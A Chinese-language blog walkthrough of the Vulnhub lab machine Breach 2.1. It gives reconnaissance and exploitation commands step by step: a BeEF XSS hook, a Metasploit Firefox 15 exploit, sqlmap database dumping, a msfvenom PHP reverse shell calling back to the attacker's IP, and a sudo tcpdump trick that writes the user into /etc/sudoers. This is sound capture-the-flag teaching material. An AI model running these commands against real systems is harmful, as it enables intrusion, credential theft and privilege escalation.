当前位置: 首页 > news >正文

vulnhub靶机:Breach 2.1详细过程

下载

下载地址:https://www.vulnhub.com/entry/breach-21,159/

修改网络模式

根据靶机的描述得知该靶机适用于静态ip,即192.168.110.151;配置虚拟机的虚拟网络编辑器的仅主机模式,将其子网IP配置在110网段,并将攻击机kali和靶机也设置为仅主机模式

端口扫描

nmap -A -p- 192.168.110.151

发现ssh服务开启,尝试ssh连接

ssh 192.168.110.151 -p 65535

得到一个用户名和密码

Peter
inthesource

使用ssh远程连接Peter用户,却发现连接断开

ssh peter@192.168.110.151 -p 65535

重新扫描靶机开放的端口,发现又开放了一个80端口

nmap -sV -p- 192.168.110.151

访问网站

BEEF提示或许可以使用 beef-xss 这个xss工具

目录扫描

使用dirsearch对其目录扫描 发现两个目录 /blog /images

python3 dirsearch.py -u "192.168.110.151" -x 403

访问 /blog

访问 /image

get shell

回到刚才的页面,通过验证注册框存在xss

<script>alert(111)</script>

这里需要用到之前提到的工具 beef-xss 来 getshell

如果没有,在kali上安装该工具

sudo apt install beef-xss
beef-xss

需要设置一个密码

默认用户名 beef 完成登录

根据提示信息 我们注册框输入的xss语句如下,将127.0.0.1改成kali的ip地址

<script src="http://127.0.0.1:3000/hook.js"></script>
<script src="http://192.168.110.128:3000/hook.js"></script>

提交成功之后访问 http://192.168.110.151/blog/members.html 即可触发漏洞

访问:http://192.168.110.128:3000/ui/panel,可以看到Kali和靶机都已上线,点击Members后kali会上线,靶机需要过一会才会上线

可以看到该网站的火狐版本很低 Firefox/15.0 可以利用利用版本漏洞

查找存在的漏洞

searchsploit firefox 15

发现了符合的漏洞,并且可以msf利用

msfconsole
search firefox 15
use 12

show options
set uripath 123456(beef-xss设置密码)
set lhost 192.168.110.128
run

给出一个url,将给出中的url在浏览器中设置重定向访问

可以在msf中看到会话已经建立 ,速度较慢,需等待一些时间

因为通过 firefox_proto_crmfrequest 得到的shell不稳定,因此我们需要shell持久化

search post shell to meterpreter
use post/multi/manage/shell_to_meterpreter
options
set lhost 192.168.110.128

这时要再次点击 Execute按钮

根据新建立的 session Id 来设置 shell_to_meterpreter 的 options 中 session值

一旦建立session 立刻输入run 执行命令

输入sessions检查是否成功 直到看到meterpreter的session建立

获取shell

sessions -i 6
shell
whoami

cat /etc/passwd 发现了两个用户 milton blumbergh

sudo -l 将两个用户更新至user.list

milton用户提权

因为之前Peter用户无法ssh连接,查看相关配置

ls .ssh -al
ls /etc | grep ssh
ls /etc/ssh -al

sshd_config 是客户端的ssh配置文件,在文件末尾发现,ssh 连接过程会强制执行名为 startme 的程序,推测其与 ssh 无法成功连接有关

cat /etc/ssh/sshd_config

查看 startme 内容,其内容是启动了apache服务

cat /usr/bin/startme

覆盖 .bashrc 文件后,可以在ssh连接后可以保持shell

echo 'exec /bin/bash' > .bashrc

查看网站目录,看到html2目录

ls /var/www -al

在其目录中存在 oscommerec

ls /var/www/html2

html2 可能是一个新的web站点

查看靶机的网络信息

netstat -anlpt

发现一个2323端口

尝试使用telnet连接 显示了连接过程中的全部信息

telnet 127.0.0.1 2323

用google查询 发现这个地点位于Houston,作为密码输入

用户名的话也就是之前/etc/passwd文件中的用户名

经尝试用户名为 milton

我们需要回答一个问题:这个订书机是谁的

我们需要在目录下寻找关键词stapler

cd /usr
grep -rno stapler

发现一个 cd.py 文件 查看其内容

答案是 mine

再次使用telnet连接2323端口

登录成功 实现milton用户提权

blumbergh用户提权

再次查看网络信息,出现了8888端口

netstat -tln

尝试访问,点击 oscommerce

对其目录扫描 发现了一个登录页面

python3 dirsearch.py -u "http://192.168.110.151:8888/oscommerce/"

在配置文件中发现,mysql数据库的root用户并没有设置密码

使用sqlmap进行读取数据

sqlmap -u http://192.168.110.151/blog/index.php?search=1 --batch
sqlmap -u http://192.168.110.151/blog/index.php?search=1 --dbs --batch
sqlmap -u http://192.168.110.151/blog/index.php?search=1 -D oscommerce --tables --batch
sqlmap -u http://192.168.110.151/blog/index.php?search=1 -D oscommerce -T osc_administrators --columns --batch
sqlmap -u http://192.168.110.151/blog/index.php?search=1 -D oscommerce -T osc_administrators -C user_name,user_password --dump --batch

得到管理员密码的哈希值,解密

四处翻翻发现一个上传文件的位置,上传文件

在 include目录下面找到了一个可写的目录

使用 MSF 生成反弹shell木马,并上传到靶机中

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.110.128 LPORT=9999 -f raw -o shell.php

MSF 设置监听

msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.110.128
set lport 9999
run

获取交互式shell,发现此时用户为blumbergh,依旧是低权限

shell
python -c "import pty;pty.spawn('/bin/bash')"
sudo -l

切换到 tmp 目录,构造1.sh 脚本文件以实现提权,然后执行GTOFbins中给出的 sudo 命令,实现脚本利用

cd /tmp
echo 'echo "blumbergh ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /tmp/test && chmod +x /tmp/test
sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/test -Z root
sudo su

提权成功


http://www.mrgr.cn/news/30553.html

相关文章:

  • [Unity Demo]从零开始制作空洞骑士Hollow Knight第四集:制作更多的敌人
  • keep-alive的应用场景
  • C8T6--SPI读FLASH和双通信
  • 目前人工智能时代,程序员如何保持核心竞争力?
  • 项目小总结
  • Web开发:ABP框架2——入门级别的增删改查Demo
  • C++ Primer Plus(速记版)-类和数据抽象
  • LeetCode 876
  • Mysql中DML和DQL
  • 代码随想录八股训练营第四十天| C++
  • Activiti7《第二式:破剑式》——工作流中的以柔克刚
  • 注册商标为什么要一定找代理机构?
  • 【C++ Primer Plus习题】16.9
  • C++日期类,详细!!!
  • HTML基础和常用标签
  • pg入门2—pg中的database和schema有什么区别
  • 【资料分析】刷题日记2
  • 图书管理系统(面向对象的编程练习)
  • 【STL】priority_queue 基础,应用与操作
  • VirtualBox增加磁盘并给docker用